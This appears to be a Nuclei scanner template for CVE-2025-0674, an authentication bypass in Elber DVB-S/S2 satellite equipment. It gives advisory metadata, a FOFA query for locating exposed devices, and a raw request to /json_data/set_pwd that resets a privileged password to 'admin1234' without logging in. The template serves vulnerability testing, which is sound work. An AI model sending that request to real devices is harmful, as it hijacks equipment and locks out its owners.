Elber ESE DVB-S/S2 - Authentication Bypass

id: CVE-2025-0674

info:
  name: Elber ESE DVB-S/S2 - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    Multiple Elber products are affected by an authentication bypass vulnerability which allows unauthorized access to the password management functionality. Attackers can exploit this issue by manipulating the endpoint to overwrite any user's password within the system.
  remediation: |
    Apply security patches from Elber or restrict access to the password management endpoints to authorized networks only.
  impact: |
    This grants them unauthorized administrative access to protected areas of the application, compromising the device's system security.
  reference:
    - https://www.cisa.gov/news-events/ics-advisories/icsa-25-035-03
    - https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/wayber/Elber-Wayber%E6%A8%A1%E6%8B%9F%E6%95%B0%E5%AD%97%E9%9F%B3%E9%A2%91%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E6%BC%8F%E6%B4%9E.md?plain=1
    - https://nvd.nist.gov/vuln/detail/CVE-2025-0674
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-0674
    cwe-id: CWE-288
    epss-score: 0.03523
    epss-percentile: 0.87823
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="Elber Satellite Equipment" || body="www.elber.it"
  tags: cve,cve2025,auth-bypass,elber,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /modules/pwd.html HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "Manage system Password"
        internal: true

  - raw:
      - |
        GET /json_data/set_pwd?lev=2&pass=admin1234 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "Apply successfully"
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